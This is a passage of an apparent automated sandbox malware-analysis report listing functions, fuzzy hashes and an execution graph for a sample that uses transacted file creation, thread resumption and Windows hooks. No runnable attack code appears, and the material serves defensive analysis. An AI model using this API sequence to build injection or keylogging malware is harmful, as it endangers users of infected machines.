                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: c9af85c8577c998a7cf6083a54903176fadd124a0ae4e5a7679d1af590718dbe
                                                              • Instruction ID: 028748d385e3ae08b2c6478f3c03a108463ea7e0a85b960c001b3a47afa1f784
                                                              • Opcode Fuzzy Hash: c9af85c8577c998a7cf6083a54903176fadd124a0ae4e5a7679d1af590718dbe
                                                              • Instruction Fuzzy Hash: A7F0C23070CA484FD798DF2C685A6BC7BD2FF98215B5505AFD29EC36B6CE2198418385
                                                              Function 00007FFD9BA684E9 Relevance: .0, Instructions: 43COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 58c376dfcac97742930c7b72b31f9f9e0f89c85fa6a0060817d396cf149cd2de
                                                              • Instruction ID: ebdeb2bf6f836443ab82e97cf0a81ba003779537abe52f0f624e0828fbe93ee4
                                                              • Opcode Fuzzy Hash: 58c376dfcac97742930c7b72b31f9f9e0f89c85fa6a0060817d396cf149cd2de
                                                              • Instruction Fuzzy Hash: C601EDB1D0895DCFDF98DF88C865AB8B7B1FB64345F1400AEC01DD76A5DA756980CB00
                                                              Function 00007FFD9BA61722 Relevance: .0, Instructions: 39COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 582ebe0400340a4d38d14d234e83a627d195e9e094d3952c3510835bc84d630a
                                                              • Instruction ID: 02d94f034cedea57d3e9d5a4b719ee033c6dbd8415019a328ca410401f2ace43
                                                              • Opcode Fuzzy Hash: 582ebe0400340a4d38d14d234e83a627d195e9e094d3952c3510835bc84d630a
                                                              • Instruction Fuzzy Hash: A6F0F63194F3C99FD726CBB088614EA7FB4AF53200B0900FAD189CB0B2C96C2706C751
                                                              Function 00007FFD9BA65929 Relevance: .0, Instructions: 39COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 27cc999795f262c3941d523ce440edf178424be5801a9d6d695290ebb4d65f41
                                                              • Instruction ID: 78013506ad52e815b8d1ae80d7cc42229af3521bd304a1883d55460737f12813
                                                              • Opcode Fuzzy Hash: 27cc999795f262c3941d523ce440edf178424be5801a9d6d695290ebb4d65f41
                                                              • Instruction Fuzzy Hash: 44F08C9258F2CA1FE72303741C3A5E43FA89E03630B4E42E7D485DA8E3D44D069B8362
                                                              Function 00007FFD9BA6E222 Relevance: .0, Instructions: 38COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: c6ca686346f2d2d35adbb0c9d4c21cf98ffd0ca0e43a186f3e66269831008ec7
                                                              • Instruction ID: 87422b83100cee43021d728d36b01bee1d8c3c2527d0c7ee056f9b3836365828
                                                              • Opcode Fuzzy Hash: c6ca686346f2d2d35adbb0c9d4c21cf98ffd0ca0e43a186f3e66269831008ec7
                                                              • Instruction Fuzzy Hash: 06F0F67184E2C9DFDB128BB088225D53FB4AF57300B1A40F6E049CB0B2C5AC6746C751
                                                              Function 00007FFD9BA688F2 Relevance: .0, Instructions: 38COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 8996c1b340495a6e71ec220cb6cf35c237937f93e4f0ba3f71dcaf32647cb66e
                                                              • Instruction ID: be51f2ce3e54faa4f3300c1ce46497da5188952651485f66330b214fd2be089f
                                                              • Opcode Fuzzy Hash: 8996c1b340495a6e71ec220cb6cf35c237937f93e4f0ba3f71dcaf32647cb66e
                                                              • Instruction Fuzzy Hash: 04F0C87294E2C9DFD3128BB088614D93FA4AF43214B1A00E6D045870B2C5AC1605C352
                                                              Function 00007FFD9BA62F08 Relevance: .0, Instructions: 35COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 448d99909cc344921c138f31ff81e5abcf93708caec561b0298db060afc34cdc
                                                              • Instruction ID: 31c0e0839864ec67ee72fa3a9d7b43cf9b3e901b56a69536d52f87663a7852fd
                                                              • Opcode Fuzzy Hash: 448d99909cc344921c138f31ff81e5abcf93708caec561b0298db060afc34cdc
                                                              • Instruction Fuzzy Hash: 6BF0BEE0B0F64ECEF63647D4A8356F93A859F42300F62157BC54E820E2C99A672A8295
                                                              Function 00007FFD9BA6EF17 Relevance: .0, Instructions: 18COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 4887c1d916e49d0ff191ebadb5266ca2a078c6ddc2834002dfeed31c54ab2c8e
                                                              • Instruction ID: f286241d796c999f91545027257fafe156dcb0912c675b9c62c37d4afb6266da
                                                              • Opcode Fuzzy Hash: 4887c1d916e49d0ff191ebadb5266ca2a078c6ddc2834002dfeed31c54ab2c8e
                                                              • Instruction Fuzzy Hash: 33E01241A0E7CACFE72683F448710382FD18F1B244B5A05F6D149CA2E3D9D93E099313
                                                              Function 00007FFD9BA6F9FB Relevance: .0, Instructions: 11COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 68b89938684c2ec70c183e1db0996653fd520fdb00855f7bf8d1eaad751af06f
                                                              • Instruction ID: 35a4956bb1e028553265f08ddf9b1d4a3731c5e3ac4cf72efdb0bd7bb6eaabbe
                                                              • Opcode Fuzzy Hash: 68b89938684c2ec70c183e1db0996653fd520fdb00855f7bf8d1eaad751af06f
                                                              • Instruction Fuzzy Hash: ACD0C990B1F98FCDFA388B81A03023E15919F11304E23043DC45F918E1DD9F7B416611
                                                              Function 00007FFD9BA6A0BB Relevance: .0, Instructions: 11COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                                                              • Instruction ID: 5f3078366f3fc9f817d4e56cd332f8d839433765ab08176f83f44542e0157200
                                                              • Opcode Fuzzy Hash: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                                                              • Instruction Fuzzy Hash: E4D09290F5F64FEDF2386791C13023A51A49F01301E23443EC55F418F1899E7A456601
                                                              Function 00007FFD9BA6242F Relevance: .0, Instructions: 8COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 25e87a645f28f490251e1f688c36ecb4239f655397761163e69ec1c721cdcdde
                                                              • Instruction ID: 025a7c604dd2adb29b892f003fb620d9c1dc2f4520690d679f446bc46c299717
                                                              • Opcode Fuzzy Hash: 25e87a645f28f490251e1f688c36ecb4239f655397761163e69ec1c721cdcdde
                                                              • Instruction Fuzzy Hash: 0CC04881F0E38B9AEA3556E018A60791A908B2A204B560572E14A8A1F3EC9CAA0552A6
                                                              Function 00007FFD9BA69601 Relevance: .0, Instructions: 5COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1784177596.00007FFD9BA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA60000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9ba60000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: ff0dd41df1671752a6441dd2ec00ce61b743eaca97be5fe78f6ef9118e1f159b
                                                              • Instruction ID: cad29cf5d868e3903580faf9fbd228866a9f23bc76554102d34ab3ce5143682d
                                                              • Opcode Fuzzy Hash: ff0dd41df1671752a6441dd2ec00ce61b743eaca97be5fe78f6ef9118e1f159b
                                                              • Instruction Fuzzy Hash: D0A00198F0E34BDBEB3846FA0AE803C00810B5D645BA64A35961B961EAE8E82A402161

                                                              Non-executed Functions

                                                              Function 00007FFD9B88DDAD Relevance: .2, Instructions: 249COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000005.00000002.1781966392.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_5_2_7ffd9b880000_qyKnQ3XZNg.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b0d0765d6d19f232dafc1e9c1b9293a39c05519c7eadb16866b9e79a083fee08
                                                              • Instruction ID: 443fa8544bce84d541b929322cbd033c8dfa358e22378037b80bdfa57c4f8081
                                                              • Opcode Fuzzy Hash: b0d0765d6d19f232dafc1e9c1b9293a39c05519c7eadb16866b9e79a083fee08
                                                              • Instruction Fuzzy Hash: 2C81A130A08A8D8FDBA8DF18C855BE977E1FF59310F10426EE85DC7292DB74A945CB81

                                                              Execution Graph

                                                              Execution Coverage:17%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:33
                                                              Total number of Limit Nodes:2
                                                              execution_graph 27984 7ffd9b8ad2f5 27985 7ffd9b8ad36b WriteFile 27984->27985 27987 7ffd9b8ad48f 27985->27987 27988 7ffd9b8af0f5 27989 7ffd9b8af11f VirtualAlloc 27988->27989 27991 7ffd9b8af23f 27989->27991 28005 7ffd9b8ad04a 28006 7ffd9b8ad059 CreateFileTransactedW 28005->28006 28008 7ffd9b8ad268 28006->28008 28013 7ffd9b8ab57d 28014 7ffd9b9115e0 28013->28014 28015 7ffd9b911652 28014->28015 28018 7ffd9b9107d0 28014->28018 28017 7ffd9b9116c9 28019 7ffd9b9107db 28018->28019 28020 7ffd9b91087e 28019->28020 28022 7ffd9b910897 28019->28022 28020->28017 28023 7ffd9b9108a2 28022->28023 28024 7ffd9b9108ea ResumeThread 28022->28024 28023->28020 28026 7ffd9b9109b4 28024->28026 28026->28020 28001 7ffd9be337fc 28003 7ffd9be337ff SetWindowsHookExW 28001->28003 28004 7ffd9be33930 28003->28004 27992 7ffd9b8ae6e1 27996 7ffd9b8ae6eb 27992->27996 27993 7ffd9b8ae815 27999 7ffd9b8aec5a GetSystemInfo 27993->27999 27995 7ffd9b8ae820 27996->27993 27997 7ffd9b8ae822 27996->27997 28000 7ffd9b8aec5a GetSystemInfo 27997->28000 27999->27995 28000->27995 28009 7ffd9b8aec91 28010 7ffd9b8aec9e GetSystemInfo 28009->28010 28012 7ffd9b8aed85 28010->28012

                                                              Executed Functions

                                                              Function 00007FFD9BE337FC Relevance: 1.7, APIs: 1, Instructions: 185COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1348 7ffd9be337fc-7ffd9be33899 1352 7ffd9be338a8-7ffd9be3392e SetWindowsHookExW 1348->1352 1353 7ffd9be3389b-7ffd9be338a5 1348->1353 1354 7ffd9be33930 1352->1354 1355 7ffd9be33936-7ffd9be339a3 1352->1355 1353->1352 1354->1355
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4333128488.00007FFD9BE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE20000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9be20000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: HookWindows
                                                              • String ID:
                                                              • API String ID: 2559412058-0
                                                              • Opcode ID: 892c84f98c4b55acdd55b1eb94ec74bbb6e49bdaa3d8ae7cfd3e868de896eb8a
                                                              • Instruction ID: 00b1361e77da69bc9debfbfab8a6a298fd1f5de5958e0d915989f82d96b8188f
                                                              • Opcode Fuzzy Hash: 892c84f98c4b55acdd55b1eb94ec74bbb6e49bdaa3d8ae7cfd3e868de896eb8a
                                                              • Instruction Fuzzy Hash: 62510870908A1D8FDF98EF58C855BE9BBF1FB69314F1041AED00EE3291DA71A981CB45
                                                              Function 00007FFD9BA8CA0F Relevance: 3.9, Strings: 2, Instructions: 1398COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 855 7ffd9ba8ca0f-7ffd9ba8ca12 856 7ffd9ba8ca42-7ffd9ba8ca49 855->856 857 7ffd9ba8ca14-7ffd9ba9073b 855->857 858 7ffd9ba8cac5-7ffd9ba8cac9 856->858 859 7ffd9ba8ca4b-7ffd9ba8ca7a 856->859 900 7ffd9ba90740-7ffd9ba90747 857->900 861 7ffd9ba8cafa 858->861 862 7ffd9ba8cacc-7ffd9ba8cae0 858->862 882 7ffd9ba8caaa-7ffd9ba8cac2 859->882 883 7ffd9ba8ca7c-7ffd9ba8f329 call 7ffd9ba8cab0 * 2 859->883 865 7ffd9ba8cb2a 861->865 866 7ffd9ba8cafc-7ffd9ba8cb12 861->866 864 7ffd9ba911a0-7ffd9ba91358 862->864 868 7ffd9ba8cb5a-7ffd9ba8cb6f 865->868 869 7ffd9ba8cb2c-7ffd9ba8cb2e 865->869 871 7ffd9ba8cb42 866->871 872 7ffd9ba8cb14-7ffd9ba8cb1f 866->872 877 7ffd9ba8cb72-7ffd9ba8cbd0 868->877 875 7ffd9ba8cb3d-7ffd9ba8cb3e 869->875 876 7ffd9ba8cb30-7ffd9ba8cb35 869->876 871->877 878 7ffd9ba8cb44-7ffd9ba8cb46 871->878 879 7ffd9ba8cb22 872->879 885 7ffd9ba8cb4b-7ffd9ba8cb51 875->885 886 7ffd9ba8cb40 875->886 888 7ffd9ba8cb36 876->888 912 7ffd9ba906a0-7ffd9ba906d6 877->912 878->885 880 7ffd9ba8cb52-7ffd9ba8cb59 879->880 881 7ffd9ba8cb24-7ffd9ba8cb26 879->881 880->868 881->888 889 7ffd9ba8cb28 881->889 891 7ffd9ba8caf2 882->891 892 7ffd9ba8cac4 882->892 883->912 921 7ffd9ba8f303-7ffd9ba8f30e 883->921 885->880 886->871 888->878 898 7ffd9ba8cb38 888->898 889->865 891->879 899 7ffd9ba8caf4-7ffd9ba8caf9 891->899 892->858 898->875 900->900 904 7ffd9ba90749-7ffd9ba90ad6 900->904 904->864
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: _$y._^
                                                              • API String ID: 0-3981388753
                                                              • Opcode ID: 8f58f26f9f2977187f29ed9382f61493713e6ea81d2f1c460f0289e157e22036
                                                              • Instruction ID: 56c5fe689fa1135ee3d4debb49b81100b792833e2cff67c4d8a5b9d485facdaf
                                                              • Opcode Fuzzy Hash: 8f58f26f9f2977187f29ed9382f61493713e6ea81d2f1c460f0289e157e22036
                                                              • Instruction Fuzzy Hash: D5921A73B0E5664BE726B7ACB8794E93B50DF41238B0901B7E09D8F0E3FC5C254A8695
                                                              Function 00007FFD9B8AD04A Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1328 7ffd9b8ad04a-7ffd9b8ad057 1329 7ffd9b8ad059-7ffd9b8ad061 1328->1329 1330 7ffd9b8ad062-7ffd9b8ad128 1328->1330 1329->1330 1334 7ffd9b8ad12a-7ffd9b8ad141 1330->1334 1335 7ffd9b8ad144-7ffd9b8ad266 CreateFileTransactedW 1330->1335 1334->1335 1336 7ffd9b8ad268 1335->1336 1337 7ffd9b8ad26e-7ffd9b8ad2f0 1335->1337 1336->1337
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: CreateFileTransacted
                                                              • String ID:
                                                              • API String ID: 2149338676-0
                                                              • Opcode ID: a0753bdf1a32a99c0f2d759b53c238224cbd634ef67166bcde6cdea47124ee79
                                                              • Instruction ID: 593c883a524c8dcb4f2244a514d502f52a0d4094a204b8c30dd6cd4b6bb777de
                                                              • Opcode Fuzzy Hash: a0753bdf1a32a99c0f2d759b53c238224cbd634ef67166bcde6cdea47124ee79
                                                              • Instruction Fuzzy Hash: F7912370908A5D8FDB99DF58C894BE9BBF1FB6A310F1041AED04DE3291DB75A984CB04
                                                              Function 00007FFD9B8AD2F5 Relevance: 1.7, APIs: 1, Instructions: 216fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1340 7ffd9b8ad2f5-7ffd9b8ad3c2 1343 7ffd9b8ad3ea-7ffd9b8ad48d WriteFile 1340->1343 1344 7ffd9b8ad3c4-7ffd9b8ad3e7 1340->1344 1345 7ffd9b8ad495-7ffd9b8ad4f1 1343->1345 1346 7ffd9b8ad48f 1343->1346 1344->1343 1346->1345
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: FileWrite
                                                              • String ID:
                                                              • API String ID: 3934441357-0
                                                              • Opcode ID: e1dba5439581341419a8c2b7eb1448679dc5a8f2fab465674ad7dbc051135e29
                                                              • Instruction ID: 2bc2bf66b81ae61cba0861df3578dd53ddb0ba554b7bf5f9d7fcfd991b1070c0
                                                              • Opcode Fuzzy Hash: e1dba5439581341419a8c2b7eb1448679dc5a8f2fab465674ad7dbc051135e29
                                                              • Instruction Fuzzy Hash: AB611370A08A5C8FDB98DF58C895BE9BBF1FB69310F1041AED04DE3291DB74A985CB40
                                                              Function 00007FFD9B8AEC5A Relevance: 1.7, APIs: 1, Instructions: 168COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1360 7ffd9b8aec5a-7ffd9b8aec63 1361 7ffd9b8aec65-7ffd9b8aec83 1360->1361 1362 7ffd9b8aecad 1360->1362 1366 7ffd9b8aec85-7ffd9b8aec8f 1361->1366 1367 7ffd9b8aec9e-7ffd9b8aecaa 1361->1367 1363 7ffd9b8aecaf 1362->1363 1364 7ffd9b8aecb0-7ffd9b8aed1a 1362->1364 1363->1364 1370 7ffd9b8aed22-7ffd9b8aed83 GetSystemInfo 1364->1370 1367->1362 1371 7ffd9b8aed85 1370->1371 1372 7ffd9b8aed8b-7ffd9b8aedbb 1370->1372 1371->1372
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem
                                                              • String ID:
                                                              • API String ID: 31276548-0
                                                              • Opcode ID: 669b7a8b87a26c5c0d03be4d5d04ad95e4114c567fcc06eb1395ea7756cf4e75
                                                              • Instruction ID: 57fc21781738023bcc21cba03ff2690eceecc96d6d22c57669a836de9837aa6a
                                                              • Opcode Fuzzy Hash: 669b7a8b87a26c5c0d03be4d5d04ad95e4114c567fcc06eb1395ea7756cf4e75
                                                              • Instruction Fuzzy Hash: ED51F030A0CA4C8FDB58DFA8D859AE9BBF0FF59311F1041ABD04DC72A2DA346946CB50
                                                              Function 00007FFD9B910897 Relevance: 1.6, APIs: 1, Instructions: 150threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1375 7ffd9b910897-7ffd9b9108a0 1376 7ffd9b9108a2-7ffd9b9108c2 1375->1376 1377 7ffd9b9108ea-7ffd9b9109b2 ResumeThread 1375->1377 1381 7ffd9b9109b4 1377->1381 1382 7ffd9b9109ba-7ffd9b910a04 1377->1382 1381->1382
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: ResumeThread
                                                              • String ID:
                                                              • API String ID: 947044025-0
                                                              • Opcode ID: a35110e31e7cf2e2701b92322011fb170232f554cab8ca1d5293d54b9dad39f1
                                                              • Instruction ID: 568da9eee1e5904f04da64af8627ce96a286affc6ba2f6d454bc4e89022d6933
                                                              • Opcode Fuzzy Hash: a35110e31e7cf2e2701b92322011fb170232f554cab8ca1d5293d54b9dad39f1
                                                              • Instruction Fuzzy Hash: A1413970E0860C8FDB58EFA8D895AEDBBF0FB59310F10416AD40DE7252DA75A946CB40
                                                              Function 00007FFD9B8AEC91 Relevance: 1.6, APIs: 1, Instructions: 144COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1385 7ffd9b8aec91-7ffd9b8aecad 1388 7ffd9b8aecaf 1385->1388 1389 7ffd9b8aecb0-7ffd9b8aed83 GetSystemInfo 1385->1389 1388->1389 1393 7ffd9b8aed85 1389->1393 1394 7ffd9b8aed8b-7ffd9b8aedbb 1389->1394 1393->1394
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: InfoSystem
                                                              • String ID:
                                                              • API String ID: 31276548-0
                                                              • Opcode ID: ec27ca794cd5c8e816f8559d37c767e79405c0173ae396eb42878c9523bf9b50
                                                              • Instruction ID: 6dccaea082e3dc2e8e83b46dc3f6fb61c6ae3540f2dd43b14ff677ab677ad30b
                                                              • Opcode Fuzzy Hash: ec27ca794cd5c8e816f8559d37c767e79405c0173ae396eb42878c9523bf9b50
                                                              • Instruction Fuzzy Hash: E441AE7090C68C8FDB99DFA8D859BE9BBF0EF5A310F1441ABD04DD72A2CA345946CB50
                                                              Function 00007FFD9BA85C10 Relevance: 1.6, Strings: 1, Instructions: 392COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1397 7ffd9ba85c10-7ffd9ba85c34 1398 7ffd9ba85f51-7ffd9ba85f5b 1397->1398 1399 7ffd9ba85c3a-7ffd9ba85c3f 1397->1399 1405 7ffd9ba85f5c-7ffd9ba85f89 1398->1405 1400 7ffd9ba85c41-7ffd9ba85c44 1399->1400 1401 7ffd9ba85c4b-7ffd9ba85c64 1399->1401 1400->1401 1403 7ffd9ba85c78-7ffd9ba85c94 1401->1403 1404 7ffd9ba85c66-7ffd9ba85c71 1401->1404 1407 7ffd9ba85c95-7ffd9ba85ca5 1403->1407 1404->1407 1413 7ffd9ba85f32-7ffd9ba85f35 1405->1413 1407->1405 1409 7ffd9ba85cab-7ffd9ba85cb6 1407->1409 1411 7ffd9ba85d74-7ffd9ba85d79 1409->1411 1412 7ffd9ba85cbc-7ffd9ba85cca 1409->1412 1414 7ffd9ba85d7f-7ffd9ba85d89 1411->1414 1415 7ffd9ba85e0d-7ffd9ba85e17 1411->1415 1412->1405 1416 7ffd9ba85cd0-7ffd9ba85ce1 1412->1416 1420 7ffd9ba85f3f-7ffd9ba85f50 1413->1420 1414->1405 1417 7ffd9ba85d8f-7ffd9ba85da3 1414->1417 1418 7ffd9ba85e39-7ffd9ba85e40 1415->1418 1419 7ffd9ba85e19-7ffd9ba85e24 1415->1419 1421 7ffd9ba85ce3-7ffd9ba85d06 1416->1421 1422 7ffd9ba85d49-7ffd9ba85d60 1416->1422 1423 7ffd9ba85e43-7ffd9ba85e4d 1417->1423 1418->1423 1432 7ffd9ba85e2b-7ffd9ba85e37 1419->1432 1424 7ffd9ba85d0c-7ffd9ba85d1f 1421->1424 1425 7ffd9ba85da8-7ffd9ba85dad 1421->1425 1422->1405 1426 7ffd9ba85d66-7ffd9ba85d6e 1422->1426 1423->1405 1429 7ffd9ba85e53-7ffd9ba85e6b 1423->1429 1427 7ffd9ba85d23-7ffd9ba85d47 1424->1427 1425->1427 1426->1411 1426->1412 1427->1422 1435 7ffd9ba85db2-7ffd9ba85db5 1427->1435 1429->1405 1431 7ffd9ba85e71-7ffd9ba85e89 1429->1431 1431->1405 1433 7ffd9ba85e8f-7ffd9ba85ec3 1431->1433 1432->1418 1433->1405 1449 7ffd9ba85ec9-7ffd9ba85edc 1433->1449 1436 7ffd9ba85dcb-7ffd9ba85dd8 1435->1436 1437 7ffd9ba85db7-7ffd9ba85dc7 1435->1437 1436->1405 1439 7ffd9ba85dde-7ffd9ba85e0c 1436->1439 1437->1436 1449->1420 1450 7ffd9ba85ede-7ffd9ba85ee9 1449->1450 1450->1420 1452 7ffd9ba85eeb-7ffd9ba85f02 1450->1452 1454 7ffd9ba85f04-7ffd9ba85f12 1452->1454 1455 7ffd9ba85f13-7ffd9ba85f31 1452->1455 1454->1455 1455->1413
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
